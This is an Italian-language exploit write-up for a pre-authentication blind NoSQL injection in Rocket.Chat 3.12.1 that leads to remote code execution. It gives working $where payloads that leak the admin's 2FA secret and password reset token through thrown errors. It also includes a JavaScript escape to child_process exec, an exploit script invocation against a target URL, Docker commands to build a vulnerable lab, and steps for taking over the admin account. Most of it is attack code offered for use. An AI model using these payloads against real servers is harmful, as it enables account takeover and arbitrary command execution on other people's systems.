
Iniezione NoSQL cieca pre-autenticazione che porta all'esecuzione di codice remoto in Rocket Chat 3.12.1
L'utente admin è molto probabilmente protetto da 2FA. Quindi anche se cambiamo la password dell'admin tramite (1), al login verrà richiesto il codice 2FA.
L'endpoint API users.list accetta un parametro query vulnerabile all'iniezione NoSQL. Siamo anche in grado di recuperare dati generando un errore.
Eseguiamo la seguente query per ottenere il segreto 2FA dell'admin : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
Poi basta eseguire (1) per resettare la password dell'admin e usare il segreto 2FA per generare il codice con cui accedere.
Aggiornamento: puoi anche recuperare il token di reset nello stesso modo in cui hai recuperato il segreto 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
NOTA: Se non vuoi che l'Amministratore sia protetto da 2FA puoi fare quanto segue.
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)